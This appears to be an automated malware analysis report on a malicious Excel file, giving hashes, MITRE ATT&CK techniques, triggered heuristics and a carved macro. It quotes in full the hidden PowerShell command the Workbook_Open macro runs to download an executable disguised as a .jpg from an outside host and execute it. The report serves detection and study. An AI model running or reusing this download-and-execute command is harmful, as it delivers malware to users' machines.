Office (OLE) / .XLS malware analysis — malicious · 2b32f6ada2947da4

MALICIOUS

Office (OLE) / .XLS

305.5 KB Created: 2020-10-15 21:37:08

MD5: c2e3811c9bb6a00a0f4dc12741756453 SHA-1: 17484679fae49aeb796c3c344e41fddf6c7acfa9 SHA-256: 2b32f6ada2947da4bf5b17543971fb26fd3e0353734ef9270351dfe142fd1d72

220 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1204.002 Malicious File T1105 Ingress Tool Transfer

The Workbook_Open macro fires upon opening the XLS file, triggering a PowerShell command. This command, "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \" & { iwr http://weeshoppi.com/wp-includes/ID3/z/59010.jpg -OutFile C:\Users\Public\Documents\dskpqhd.exe}; & {Start-Process -FilePath \"C:\Users\Public\Documents\dskpqhd.exe\"}\", downloads a file from http://weeshoppi.com/wp-includes/ID3/z/59010.jpg and saves it as C:\Users\Public\Documents\dskpqhd.exe, then executes it. This indicates a downloader pattern.

Heuristics 7

Reference to PowerShell high SC_STR_POWERSHELL

Reference to PowerShell
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Visible LOLBin command execution instruction high SE_LOLBIN_RUN_COMMAND

Document contains instructions or visible command text involving Windows script/execution tools such as PowerShell, mshta, cmd, rundll32, or regsvr32
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://weeshoppi.com/wp-includes/ID3/z/59010.jpg

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `d3d3875dd0f7136740bda507c8168c9f9b55469c33444379c9adde0869c4d1f1`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	1776 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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